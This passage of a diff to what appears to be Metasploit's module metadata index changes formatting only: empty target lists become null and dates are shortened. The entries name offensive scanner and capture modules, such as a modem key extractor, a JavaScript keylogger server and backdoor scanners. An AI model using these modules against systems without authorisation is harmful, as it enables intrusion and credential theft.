"2018-03-19", "type": "auxiliary", "author": [ "beto", @@ -23324,9 +21669,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-27 16:24:56 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py", "is_install_path": true, @@ -23350,9 +21693,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-22 06:41:58 +0000", "path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb", "is_install_path": true, @@ -23376,9 +21717,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb", "is_install_path": true, @@ -23405,9 +21744,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb", "is_install_path": true, @@ -23431,9 +21768,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-18 15:02:38 +0000", "path": "/modules/auxiliary/scanner/smb/smb1.rb", "is_install_path": true, @@ -23457,9 +21792,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb2.rb", "is_install_path": true, @@ -23487,9 +21820,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb", "is_install_path": true, @@ -23517,9 +21848,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb", "is_install_path": true, @@ -23543,9 +21872,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb", "is_install_path": true, @@ -23570,9 +21897,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb", "is_install_path": true, @@ -23599,9 +21924,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-09 22:20:28 +0000", "path": "/modules/auxiliary/scanner/smb/smb_login.rb", "is_install_path": true, @@ -23625,9 +21948,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-20 15:32:25 +0000", "path": "/modules/auxiliary/scanner/smb/smb_lookupsid.rb", "is_install_path": true, @@ -23663,9 +21984,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-22 06:43:01 +0000", "path": "/modules/auxiliary/scanner/smb/smb_ms17_010.rb", "is_install_path": true, @@ -23695,9 +22014,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smb/smb_uninit_cred.rb", "is_install_path": true, @@ -23721,9 +22038,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-07 00:13:11 +0000", "path": "/modules/auxiliary/scanner/smb/smb_version.rb", "is_install_path": true, @@ -23750,9 +22065,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smtp/smtp_enum.rb", "is_install_path": true, @@ -23776,9 +22089,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb", "is_install_path": true, @@ -23804,9 +22115,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smtp/smtp_relay.rb", "is_install_path": true, @@ -23830,9 +22139,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/smtp/smtp_version.rb", "is_install_path": true, @@ -23857,9 +22164,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/aix_version.rb", "is_install_path": true, @@ -23876,6 +22181,7 @@ ], "description": "This module will extract WEP keys and WPA preshared keys from\n Arris DG950A cable modems.", "references": [ + "CVE-2014-4863", "URL-https://community.rapid7.com/community/metasploit/blog/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863" ], "is_server": false, @@ -23883,9 +22189,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-09 12:56:00 +0000", "path": "/modules/auxiliary/scanner/snmp/arris_dg950.rb", "is_install_path": true, @@ -23909,9 +22213,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/brocade_enumhash.rb", "is_install_path": true, @@ -23936,9 +22238,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb", "is_install_path": true, @@ -23962,9 +22262,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/cisco_upload_file.rb", "is_install_path": true, @@ -23989,9 +22287,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-18 17:11:47 +0000", "path": "/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb", "is_install_path": true, @@ -24017,9 +22313,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-18 17:03:13 +0000", "path": "/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb", "is_install_path": true, @@ -24043,9 +22337,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/netopia_enum.rb", "is_install_path": true, @@ -24071,9 +22363,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/sbg6580_enum.rb", "is_install_path": true, @@ -24099,9 +22389,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb", "is_install_path": true, @@ -24129,9 +22417,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb", "is_install_path": true, @@ -24155,9 +22441,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb", "is_install_path": true, @@ -24181,9 +22465,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb", "is_install_path": true, @@ -24207,9 +22489,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_login.rb", "is_install_path": true, @@ -24235,9 +22515,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_set.rb", "is_install_path": true, @@ -24261,9 +22539,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb", "is_install_path": true, @@ -24287,9 +22563,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb", "is_install_path": true, @@ -24299,7 +22573,7 @@ "name": "Apache Karaf Default Credentials Command Execution", "full_name": "auxiliary/scanner/ssh/apache_karaf_command_execution", "rank": 300, - "disclosure_date": "2016-02-09 00:00:00 -0600", + "disclosure_date": "2016-02-09", "type": "auxiliary", "author": [ "Nicholas Starke " @@ -24313,9 +22587,7 @@ "platform": "Unix", "arch": "cmd", "rport": "8101", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb", "is_install_path": true, @@ -24325,7 +22597,7 @@ "name": "Cerberus FTP Server SFTP Username Enumeration", "full_name": "auxiliary/scanner/ssh/cerberus_sftp_enumusers", "rank": 300, - "disclosure_date": "2014-05-27 00:00:00 -0500", + "disclosure_date": "2014-05-27", "type": "auxiliary", "author": [ "Steve Embling", @@ -24341,9 +22613,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-22 11:10:23 +0000", "path": "/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb", "is_install_path": true, @@ -24368,9 +22638,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-26 15:43:10 +0000", "path": "/modules/auxiliary/scanner/ssh/detect_kippo.rb", "is_install_path": true, @@ -24380,7 +22648,7 @@ "name": "Fortinet SSH Backdoor Scanner", "full_name": "auxiliary/scanner/ssh/fortinet_backdoor", "rank": 300, - "disclosure_date": "2016-01-09 00:00:00 -0600", + "disclosure_date": "2016-01-09", "type": "auxiliary", "author": [ "operator8203 ", @@ -24399,9 +22667,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-21 20:05:02 +0000", "path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb", "is_install_path": true, @@ -24411,7 +22677,7 @@ "name": "Juniper SSH Backdoor Scanner", "full_name": "auxiliary/scanner/ssh/juniper_backdoor", "rank": 300, - "disclosure_date": "2015-12-20 00:00:00 -0600", + "disclosure_date": "2015-12-20", "type": "auxiliary", "author": [ "hdm ", @@ -24428,9 +22694,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssh/juniper_backdoor.rb", "is_install_path": true, @@ -24458,9 +22722,7 @@ "platform": "", "arch": "", "rport": "8101", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssh/karaf_login.rb", "is_install_path": true, @@ -24486,9 +22748,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_enumusers.rb", "is_install_path": true, @@ -24514,9 +22774,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-21 17:37:51 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb", "is_install_path": true, @@ -24540,9 +22798,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-08 21:23:11 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login.rb", "is_install_path": true, @@ -24567,9 +22823,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-12 20:14:08 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb", "is_install_path": true, @@ -24593,9 +22847,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_version.rb", "is_install_path": true, @@ -24605,7 +22857,7 @@ "name": "Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5", "full_name": "auxiliary/scanner/ssl/bleichenbacher_oracle", "rank": 300, - "disclosure_date": "2009-06-17 00:00:00 -0500", + "disclosure_date": "2009-06-17", "type": "auxiliary", "author": [ "Hanno Böck", @@ -24637,9 +22889,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 10:19:57 +0000", "path": "/modules/auxiliary/scanner/ssl/bleichenbacher_oracle.py", "is_install_path": true, @@ -24649,7 +22899,7 @@ "name": "OpenSSL Server-Side ChangeCipherSpec Injection Scanner", "full_name": "auxiliary/scanner/ssl/openssl_ccs", "rank": 300, - "disclosure_date": "2014-06-05 00:00:00 -0500", + "disclosure_date": "2014-06-05", "type": "auxiliary", "author": [ "Masashi Kikuchi", @@ -24669,9 +22919,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssl/openssl_ccs.rb", "is_install_path": true, @@ -24681,7 +22929,7 @@ "name": "OpenSSL Heartbeat (Heartbleed) Information Leak", "full_name": "auxiliary/scanner/ssl/openssl_heartbleed", "rank": 300, - "disclosure_date": "2014-04-07 00:00:00 -0500", + "disclosure_date": "2014-04-07", "type": "auxiliary", "author": [ "Neel Mehta", @@ -24715,9 +22963,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-27 15:51:07 +0000", "path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb", "is_install_path": true, @@ -24741,9 +22987,7 @@ "platform": "", "arch": "", "rport": "27015", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/steam/server_info.rb", "is_install_path": true, @@ -24767,9 +23011,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telephony/wardial.rb", "is_install_path": true, @@ -24793,9 +23035,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/brocade_enable_login.rb", "is_install_path": true, @@ -24819,9 +23059,7 @@ "platform": "", "arch": "", "rport": "30718", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb", "is_install_path": true, @@ -24846,9 +23084,7 @@ "platform": "", "arch": "", "rport": "9999", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb", "is_install_path": true, @@ -24858,7 +23094,7 @@ "name": "Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability", "full_name": "auxiliary/scanner/telnet/satel_cmd_exec", "rank": 300, - "disclosure_date": "2017-04-07 00:00:00 -0500", + "disclosure_date": "2017-04-07", "type": "auxiliary", "author": [ "Karn Ganeshen " @@ -24874,9 +23110,7 @@ "platform": "", "arch": "", "rport": "5000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb", "is_install_path": true, @@ -24904,9 +23138,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-14 09:19:28 +0000", "path": "/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb", "is_install_path": true, @@ -24930,9 +23162,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-14 08:07:59 +0000", "path": "/modules/auxiliary/scanner/telnet/telnet_login.rb", "is_install_path": true, @@ -24959,9 +23189,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb", "is_install_path": true, @@ -24985,9 +23213,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/telnet_version.rb", "is_install_path": true, @@ -24997,7 +23223,7 @@ "name": "Teradata ODBC Login Scanner Module", "full_name": "auxiliary/scanner/teradata/teradata_odbc_login", "rank": 300, - "disclosure_date": "2018-03-30 00:00:00 +0000", + "disclosure_date": "2018-03-30", "type": "auxiliary", "author": [ "Ted Raffle (actuated)" @@ -25013,9 +23239,7 @@ "platform": "", "arch": "", "rport": "1025", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 15:35:13 +0000", "path": "/modules/auxiliary/scanner/teradata/teradata_odbc_login.py", "is_install_path": true, @@ -25025,7 +23249,7 @@ "name": "IpSwitch WhatsUp Gold TFTP Directory Traversal", "full_name": "auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp", "rank": 300, - "disclosure_date": "2011-12-12 00:00:00 -0600", + "disclosure_date": "2011-12-12", "type": "auxiliary", "author": [ "Prabhu S Angadi", @@ -25045,9 +23269,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb", "is_install_path": true, @@ -25057,7 +23279,7 @@ "name": "NetDecision 4.2 TFTP Directory Traversal", "full_name": "auxiliary/scanner/tftp/netdecision_tftp", "rank": 300, - "disclosure_date": "2009-05-16 00:00:00 -0500", + "disclosure_date": "2009-05-16", "type": "auxiliary", "author": [ "Rob Kraus", @@ -25074,9 +23296,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/tftp/netdecision_tftp.rb", "is_install_path": true, @@ -25100,9 +23320,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/tftp/tftpbrute.rb", "is_install_path": true, @@ -25127,9 +23345,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/udp/udp_amplification.rb", "is_install_path": true, @@ -25154,9 +23370,7 @@ "platform": "", "arch": "", "rport": "1900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/upnp/ssdp_amp.rb", "is_install_path": true, @@ -25184,9 +23398,7 @@ "platform": "", "arch": "", "rport": "1900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/upnp/ssdp_msearch.rb", "is_install_path": true, @@ -25214,9 +23426,7 @@ "platform": "", "arch": "", "rport": "6082", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-09 11:25:13 +0000", "path": "/modules/auxiliary/scanner/varnish/varnish_cli_file_read.rb", "is_install_path": true, @@ -25244,9 +23454,7 @@ "platform": "", "arch": "", "rport": "6082", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/varnish/varnish_cli_login.rb", "is_install_path": true, @@ -25270,9 +23478,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/esx_fingerprint.rb", "is_install_path": true, @@ -25296,9 +23502,7 @@ "platform": "", "arch": "", "rport": "902", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmauthd_login.rb", "is_install_path": true, @@ -25323,9 +23527,7 @@ "platform": "", "arch": "", "rport": "902", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmauthd_version.rb", "is_install_path": true, @@ -25349,9 +23551,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb", "is_install_path": true, @@ -25375,9 +23575,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb", "is_install_path": true, @@ -25401,9 +23599,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_enum_users.rb", "is_install_path": true, @@ -25427,9 +23623,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb", "is_install_path": true, @@ -25453,9 +23647,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_host_details.rb", "is_install_path": true, @@ -25479,9 +23671,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_http_login.rb", "is_install_path": true, @@ -25505,9 +23695,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb", "is_install_path": true, @@ -25535,9 +23723,7 @@ "platform": "", "arch": "", "rport": "8222", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb", "is_install_path": true, @@ -25547,7 +23733,7 @@ "name": "VMWare Update Manager 4 Directory Traversal", "full_name": "auxiliary/scanner/vmware/vmware_update_manager_traversal", "rank": 300, - "disclosure_date": "2011-11-21 00:00:00 -0600", + "disclosure_date": "2011-11-21", "type": "auxiliary", "author": [ "Alexey Sintsov", @@ -25565,9 +23751,7 @@ "platform": "", "arch": "", "rport": "9084", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb", "is_install_path": true, @@ -25592,9 +23776,7 @@ "platform": "", "arch": "", "rport": "5900", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-05 10:12:13 +0000", "path": "/modules/auxiliary/scanner/vnc/ard_root_pw.rb", "is_install_path": true, @@ -25619,9 +23801,7 @@ "platform": "", "arch": "", "rport": "5900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vnc/vnc_login.rb", "is_install_path": true, @@ -25648,9 +23828,7 @@ "platform": "", "arch": "", "rport": "5900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vnc/vnc_none_auth.rb", "is_install_path": true, @@ -25674,9 +23852,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/voice/recorder.rb", "is_install_path": true, @@ -25701,9 +23877,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb", "is_install_path": true, @@ -25728,9 +23902,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb", "is_install_path": true, @@ -25754,9 +23926,7 @@ "platform": "", "arch": "", "rport": "5985", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb", "is_install_path": true, @@ -25780,9 +23950,7 @@ "platform": "", "arch": "", "rport": "5985", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/winrm/winrm_cmd.rb", "is_install_path": true, @@ -25806,9 +23974,7 @@ "platform": "", "arch": "", "rport": "5985", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/winrm/winrm_login.rb", "is_install_path": true, @@ -25832,9 +23998,7 @@ "platform": "", "arch": "", "rport": "5985", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/winrm/winrm_wql.rb", "is_install_path": true, @@ -25844,7 +24008,7 @@ "name": "Open WAN-to-LAN proxy on AT&T routers", "full_name": "auxiliary/scanner/wproxy/att_open_proxy", "rank": 300, - "disclosure_date": "2017-08-31 00:00:00 -0500", + "disclosure_date": "2017-08-31", "type": "auxiliary", "author": [ "Joseph HutchinsJon Hart ", @@ -25863,9 +24027,7 @@ "platform": "", "arch": "", "rport": "49152", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-20 10:19:57 +0000", "path": "/modules/auxiliary/scanner/wproxy/att_open_proxy.py", "is_install_path": true, @@ -25893,9 +24055,7 @@ "platform": "", "arch": "", "rport": "3702", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-29 12:21:22 +0000", "path": "/modules/auxiliary/scanner/wsdd/wsdd_query.rb", "is_install_path": true, @@ -25920,9 +24080,7 @@ "platform": "", "arch": "", "rport": "6000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/x11/open_x11.rb", "is_install_path": true, @@ -25946,9 +24104,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/android_browsable_msf_launch.rb", "is_install_path": true, @@ -25975,9 +24131,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/android_mercury_parseuri.rb", "is_install_path": true, @@ -26001,9 +24155,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/browser_autopwn.rb", "is_install_path": true, @@ -26013,7 +24165,7 @@ "name": "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", "full_name": "auxiliary/server/browser_autopwn2", "rank": 300, - "disclosure_date": "2015-07-05 00:00:00 -0500", + "disclosure_date": "2015-07-05", "type": "auxiliary", "author": [ "sinn3r " @@ -26027,9 +24179,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/server/browser_autopwn2.rb", "is_install_path": true, @@ -26053,9 +24203,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/drda.rb", "is_install_path": true, @@ -26080,9 +24228,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/ftp.rb", "is_install_path": true, @@ -26107,9 +24253,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/http.rb", "is_install_path": true, @@ -26133,9 +24277,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/http_basic.rb", "is_install_path": true, @@ -26160,9 +24302,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/http_javascript_keylogger.rb", "is_install_path": true, @@ -26186,9 +24326,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/http_ntlm.rb", "is_install_path": true, @@ -26213,9 +24351,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 